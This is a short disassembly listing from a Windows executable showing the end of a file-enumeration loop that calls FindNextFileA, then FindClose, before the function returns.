nop
lea rax, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x318]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x401e81
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x3a0
pop rbp
ret